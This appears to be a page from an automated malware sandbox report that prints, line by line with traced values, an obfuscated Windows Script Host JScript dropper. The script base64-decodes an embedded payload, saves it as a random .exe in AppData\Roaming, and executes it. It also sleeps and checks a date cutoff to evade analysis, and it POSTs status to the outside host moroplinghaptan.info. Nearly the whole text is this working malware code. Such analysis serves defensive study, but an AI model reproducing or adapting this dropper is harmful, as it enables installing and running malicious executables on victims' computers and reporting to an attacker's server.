| 0 | var wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz = [ "" ]; | |
| 1 | var ZflLnmxVddzPcnzqchnWgzPzyHWQNDOtRcUQrkFhxYKoBjfTbTntdICLXEpxnnfgCHWBLFXGGuvKEoVVZiuSuOLqbexddrCPZCoFNIPEUpjKwAnTrRWwmDsUxtnzhudoGHToRIIJARCoyWaOelypmHe = 1; | |
| 2 | kgFVcBWsVIBcejLJiuzGQFPhIsAQDVwvGyOxcaQRyovKRUbEBLWQIuUzULuHhRnIHGdbCKRAkLlgizBeQYvwiYcatsDWtgdbbdmSXJWUbsCyxTowuPopCAyerA = 2; | |
| 3 | function UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL(lzgVXiTHsWhpjGNmENUJkEvusmldYfcHqkhURqaRVgNKRiTlInyQjlZmKWHbXzIlTuLytREmqEahAQaPNFkp, zIBAHUNiXTBZBxmkwNEXEyZOyslugGBpSTgakmHHPPhjulaCFOCnjHgLhYZustFjprpoVTtCspmmarxDVoeckgSKmfZFnSjndAldofzpqhvYghU) { | - UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL("","C:\Users\user\AppData\Roaming\1028.exe") ➔ false
|
| 4 | try | |
| 5 | { | |
| 6 | var bHyoXXbrBthbbLaIhVqNvbJiXASfkRmimxFRkNAoCxaSqqRDOPAtiaZrVSEAUnSDNzUBwTQQOKrBBuchDjJahNzexGQhUncIfGLenTDyKpaVtFZvOiUcatyJqFvizsXdeEyYcCURhtAhebjCOHcjjohhQwfanXbPXaGZWkxIJEgZxeKZtROsJHADVcgDEWEyQIwiqpLtwAoWVdkHXZYTD = WScript.CreateObject ( "MSXml2.DOMDocument" ); | - Windows Script Host.CreateObject("MSXml2.DOMDocument") ➔
|
| 7 | var SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm = bHyoXXbrBthbbLaIhVqNvbJiXASfkRmimxFRkNAoCxaSqqRDOPAtiaZrVSEAUnSDNzUBwTQQOKrBBuchDjJahNzexGQhUncIfGLenTDyKpaVtFZvOiUcatyJqFvizsXdeEyYcCURhtAhebjCOHcjjohhQwfanXbPXaGZWkxIJEgZxeKZtROsJHADVcgDEWEyQIwiqpLtwAoWVdkHXZYTD.createElement ( "Base64Data" ); | - createElement("Base64Data") ➔
|
| 8 | SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.dataType = "bin.base64"; | |
| 9 | SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.text = lzgVXiTHsWhpjGNmENUJkEvusmldYfcHqkhURqaRVgNKRiTlInyQjlZmKWHbXzIlTuLytREmqEahAQaPNFkp; | |
| 10 | var OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI = WScript.CreateObject ( "ADODB.Stream" ); | - Windows Script Host.CreateObject("ADODB.Stream") ➔
|
| 11 | OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Type = ZflLnmxVddzPcnzqchnWgzPzyHWQNDOtRcUQrkFhxYKoBjfTbTntdICLXEpxnnfgCHWBLFXGGuvKEoVVZiuSuOLqbexddrCPZCoFNIPEUpjKwAnTrRWwmDsUxtnzhudoGHToRIIJARCoyWaOelypmHe; | |
| 12 | OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Open ( ); | |
| 13 | OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Write ( SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.nodeTypedValue ); | |
| 14 | OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.SaveToFile ( zIBAHUNiXTBZBxmkwNEXEyZOyslugGBpSTgakmHHPPhjulaCFOCnjHgLhYZustFjprpoVTtCspmmarxDVoeckgSKmfZFnSjndAldofzpqhvYghU, kgFVcBWsVIBcejLJiuzGQFPhIsAQDVwvGyOxcaQRyovKRUbEBLWQIuUzULuHhRnIHGdbCKRAkLlgizBeQYvwiYcatsDWtgdbbdmSXJWUbsCyxTowuPopCAyerA ); | |
| 15 | OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Close ( ); | |
| 16 | return true; | |
| 17 | } | |
| 18 | catch ( e ) | |
| 19 | { | |
| 20 | zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo ( 'Save', e.message ); | - zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo("Save","Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another.") ➔ false
|
| 21 | return false; | |
| 22 | } | |
| 23 | } | |
| 24 | function GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj() { | - GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj() ➔ "C:\Users\user\AppData\Roaming"
|
| 25 | var seCEXVynHobtPZmSVexfQKOYlPbvnERZrtpBFlSTLKmdEcvnrFtFNYBsxwLAvZrKbbdmSQhZcZFRArFIfmbVeZYBCFllhZrDdrXggxzUcftgzyOOcQifVoSvKcgaHVDGZPEtdyDPwAsNatRQwWYbGmXfFzoGuLCujKwyCXdnfCkJkZjnCRxoKCwAqwDe = new ActiveXObject ( 'WScript.Shell' ); | |
| 26 | var ZsAwRYqjNCFhKtJTaqEqggvJHNIAtohYPiVrfjZDSgcZlZEBPQppwLnTDAHFpekRuLFeHyaSclshLNmgFfBgBsgtTYVopmgLTkktwKWGyDysEpmgNSCvsGjErpXDRqEIKgQCRJOsYJiVFoAIYFuEiOprjlVfVNAOWPpFcjiFALg = seCEXVynHobtPZmSVexfQKOYlPbvnERZrtpBFlSTLKmdEcvnrFtFNYBsxwLAvZrKbbdmSQhZcZFRArFIfmbVeZYBCFllhZrDdrXggxzUcftgzyOOcQifVoSvKcgaHVDGZPEtdyDPwAsNatRQwWYbGmXfFzoGuLCujKwyCXdnfCkJkZjnCRxoKCwAqwDe.SpecialFolders; | |
| 27 | var NLfmzgkSROKBUDjbVYmOoDqKvJantGBnyBKmQktTdiczlswbySJZQfrOnuURbsxPQdgiXBJfmKdaKYbpjPdbeqWUCvjNUwHnpbniHFFFOxGcQtsTSIypsmSdEvUoITyEkXcQeVURrDyLhXxwDDkRDlxjGjzmfUVYONRxLExEtSmuPXloHVRUv = ZsAwRYqjNCFhKtJTaqEqggvJHNIAtohYPiVrfjZDSgcZlZEBPQppwLnTDAHFpekRuLFeHyaSclshLNmgFfBgBsgtTYVopmgLTkktwKWGyDysEpmgNSCvsGjErpXDRqEIKgQCRJOsYJiVFoAIYFuEiOprjlVfVNAOWPpFcjiFALg.item ( 5 ); | - item(5) ➔ "C:\Users\user\AppData\Roaming"
|
| 28 | return NLfmzgkSROKBUDjbVYmOoDqKvJantGBnyBKmQktTdiczlswbySJZQfrOnuURbsxPQdgiXBJfmKdaKYbpjPdbeqWUCvjNUwHnpbniHFFFOxGcQtsTSIypsmSdEvUoITyEkXcQeVURrDyLhXxwDDkRDlxjGjzmfUVYONRxLExEtSmuPXloHVRUv; | |
| 29 | } | |
| 30 | function GYPCSKFpNyTTgASpRrGPTqIUgYZAOeFTwaVVYdWQczXkZpdSujsHzoBZmFICZnPvqzGRNLPBKJkhtOZrmeuZaBHmTSSUenFiSiSf(pggULdcsdzOktKhzcJVBARIYVrlbEaugFAkPTuJFoCYGUeAbKCkjBmGhOXixchyjENkRjorVgWRpGUkajAlSqnGPSrhNZYuJvZlleixffiiQptVFUyjNuhAsszSrTfmcUqJFcNxULLLodLeQrlhtiskwUDLIiVZkLSoAVUgfxjDiOFJVzVxURsYBYNLuHavhKbTgXLDCocAFJJ, ebRchqKjVnJbfrAKOTxkbziuTgYczGfDBeGoffVcWzyRHPbvKExxtbfpUfdpQeNDrQgHdzkvwbnLjPU) { | |
| 31 | var CAGnGETkeUksNbPTYeJfQFqkhuXXfLaifvjcXRalZDwFIktyYiaACmnpJqzoHUQgyXKOnGxYaAGKfplsvnmJkdyhC = new ActiveXObject ( 'WScript.Shell' ); | |
| 32 | CAGnGETkeUksNbPTYeJfQFqkhuXXfLaifvjcXRalZDwFIktyYiaACmnpJqzoHUQgyXKOnGxYaAGKfplsvnmJkdyhC.Run ( pggULdcsdzOktKhzcJVBARIYVrlbEaugFAkPTuJFoCYGUeAbKCkjBmGhOXixchyjENkRjorVgWRpGUkajAlSqnGPSrhNZYuJvZlleixffiiQptVFUyjNuhAsszSrTfmcUqJFcNxULLLodLeQrlhtiskwUDLIiVZkLSoAVUgfxjDiOFJVzVxURsYBYNLuHavhKbTgXLDCocAFJJ + '\\' + ebRchqKjVnJbfrAKOTxkbziuTgYczGfDBeGoffVcWzyRHPbvKExxtbfpUfdpQeNDrQgHdzkvwbnLjPU + '.exe' ); | |
| 33 | zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo ( 'Exec', 'offloader' ); | |
| 34 | } | |
| 35 | function phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() { | - phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() ➔ "2017-10-04 9:34:26"
|
| 36 | var jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc = new Date ( ); | |
| 37 | var UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getDate ( ); | - Wed Oct 4 09:34:26 UTC+0200 2017.getDate() ➔ 4
|
| 38 | var sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getMonth ( ); | - Wed Oct 4 09:34:26 UTC+0200 2017.getMonth() ➔ 9
|
| 39 | var fnKKibXddaWpHprbywvUWFbcFtjGlJqNCXDgohNGCNKVacFGHXeINlcmtEkQcbHkoujIAfOv = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getYear ( ); | - Wed Oct 4 09:34:26 UTC+0200 2017.getYear() ➔ 2017
|
| 40 | return fnKKibXddaWpHprbywvUWFbcFtjGlJqNCXDgohNGCNKVacFGHXeINlcmtEkQcbHkoujIAfOv + "-" + ( ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) < 10 ? '0' + ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) : ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) ) + "-" + ( UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT < 10 ? '0' + UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT : UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT ) + ' ' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getHours ( ) + ':' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getMinutes ( ) + ':' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getSeconds ( ); | - Wed Oct 4 09:34:26 UTC+0200 2017.getHours() ➔ 9
- Wed Oct 4 09:34:26 UTC+0200 2017.getMinutes() ➔ 34
- Wed Oct 4 09:34:26 UTC+0200 2017.getSeconds() ➔ 26
|
| 41 | } | |
| 42 | ; | |
| 43 | function zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo(oGFvKqBodvnQqOocYjlnrcFwJrsvSjhilSxmOOXjrIblTFbXOYEcCIBXqViuLprlVXPqjflPcEfKxARzkxpd, NdLeFQgbupsUpjRQKNbLnvOqIbbTdKsrBtZStTxzrOtoPJXTFIEmWExOIklmkufopssCqoaLgfASnOUgyANggoTKVZvrJFbgRAzXsUgqoncBZwTmuGwGwTLaURQnJQRFSIFrKSaWkAykqXCSUfBEYIqXZVyxggiuLUPpfsWLdwdwhrla) { | - zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo("Save","Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another.") ➔ false
|
| 44 | var neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt = new ActiveXObject ( "Msxml2.XMLHTTP" ); | |
| 45 | try | |
| 46 | { | |
| 47 | neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.open ( "POST", "http://moroplinghaptan.info/eroorrrs", false ); | - open("POST","http://moroplinghaptan.info/eroorrrs",false) ➔ undefined
|
| 48 | neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.setRequestHeader ( "Content-Type", "text/html" ); | - setRequestHeader("Content-Type","text/html") ➔ undefined
|
| 49 | neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.send ( '194459428' + ':::' + oGFvKqBodvnQqOocYjlnrcFwJrsvSjhilSxmOOXjrIblTFbXOYEcCIBXqViuLprlVXPqjflPcEfKxARzkxpd + ':::' + NdLeFQgbupsUpjRQKNbLnvOqIbbTdKsrBtZStTxzrOtoPJXTFIEmWExOIklmkufopssCqoaLgfASnOUgyANggoTKVZvrJFbgRAzXsUgqoncBZwTmuGwGwTLaURQnJQRFSIFrKSaWkAykqXCSUfBEYIqXZVyxggiuLUPpfsWLdwdwhrla ); | - send("194459428:::Save:::Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another.") ➔ undefined
|
| 50 | } | |
| 51 | catch ( e ) | |
| 52 | { | |
| 53 | return false; | |
| 54 | } | |
| 55 | } | |
| 56 | var time = phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl ( ); | - phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() ➔ "2017-10-04 9:34:26"
|
| 57 | if ( time < '2018-09-28 09:52:05' ) | |
| 58 | { | |
| 59 | var i = 0; | |
| 60 | while (i < wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz.length ) | |
| 61 | { | |
| 62 | WScript.Sleep ( 20000 ); | - Windows Script Host.Sleep(20000) ➔ undefined
|
| 63 | var TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ = Math.floor ( ( Math.random ( ) * 2000 ) + 1000 ); | - [object Math].random() ➔ 0.014130402757864035
- [object Math].floor(1028.2608055157281) ➔ 1028
|
| 64 | var PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy = GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj ( ); | - GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj() ➔ "C:\Users\user\AppData\Roaming"
|
| 65 | var kuBVKVRXVKyoLjnkbyzuwYlozlshDhlFgImjOPnmKEqlRIYfyunJDuVXjZChhSzxrNPySuVIDxUvJJJnJUFboBArQwDfgXGBQfTGXjBWhLKChJZjRTohDiRwXRTeqCbxvAcJvGFEygJrcJDmjmiiiVUvKJxuDifXNpWvBZSJTxVDKrWiuSdSOWobcqpBCyrPLwqRYKKOjGCQe = UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL ( wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz[i], PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy + '\\' + TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ + '.exe' ); | - UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL("","C:\Users\user\AppData\Roaming\1028.exe") ➔ false
|
| 66 | if ( kuBVKVRXVKyoLjnkbyzuwYlozlshDhlFgImjOPnmKEqlRIYfyunJDuVXjZChhSzxrNPySuVIDxUvJJJnJUFboBArQwDfgXGBQfTGXjBWhLKChJZjRTohDiRwXRTeqCbxvAcJvGFEygJrcJDmjmiiiVUvKJxuDifXNpWvBZSJTxVDKrWiuSdSOWobcqpBCyrPLwqRYKKOjGCQe ) | |
| 67 | { | |
| 68 | GYPCSKFpNyTTgASpRrGPTqIUgYZAOeFTwaVVYdWQczXkZpdSujsHzoBZmFICZnPvqzGRNLPBKJkhtOZrmeuZaBHmTSSUenFiSiSf ( PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy, TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ ); | |
| 69 | } | |
| 70 | i ++; | |
| 71 | } | |
| 72 | } | |
Search in progress...
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node